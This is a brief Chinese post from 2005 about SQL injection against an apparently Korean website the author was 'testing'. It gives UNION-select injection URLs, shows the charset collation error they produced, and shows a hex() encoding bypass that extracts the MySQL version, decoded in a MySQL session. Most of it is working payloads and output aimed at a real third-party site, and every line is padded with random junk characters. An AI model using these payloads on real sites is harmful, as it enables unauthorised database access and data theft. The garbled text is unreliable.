本文作者:SuperHei, f9 I5 V/ x& i, N$ V. Q- H# G% f2 D
文章性质:原创
# S! J3 i3 ^/ |1 _2 u) u' {- Z( W发布日期:2005-10-18
* k2 }# r7 o6 I测试个国外的站时:' b N: ]# A: `5 [" A- @
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*( `9 I# o3 q6 { E0 o
返回错误:
. }( |$ y+ O( V# e. }* `0 x& D5 A% H& XIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'4 v7 M0 i0 F {) d
MySQL Error No. 126
# x q ^7 X+ T7 ^ [1 k看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
+ K$ O+ E) q; W" b% F l解决办法:转为其他编码如hex。
$ g$ _* ~) p: z4 J5 s2 murl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*2 |0 G" ? c) }4 c9 x! I1 C. ^* n
成功得到hex(version())的值为:
( h/ m% H5 H4 d: j$ }342E312E332D62657461' p- i: V, M/ p l
回Mysql查询下得到:
7 K! `; p$ q$ b- k! V4 X! A) H, Ymysql> select 0x342E312E332D62657461;
. ^2 w$ T: d0 \: H1 h+------------------------+, Y# ], { ~1 \% |
| 0x342E312E332D62657461 |! V. t0 D2 Q$ @
+------------------------+2 h( |; ^0 g& O2 j2 o9 _
| 4.1.3-beta |) G+ u! [9 g3 P% @4 p
+------------------------+
# | I: @0 E5 X( `$ B1 row in set (0.00 sec)
- _+ l/ g, [) O- \& G) H
, c) o& `0 } L) b; h3 Q |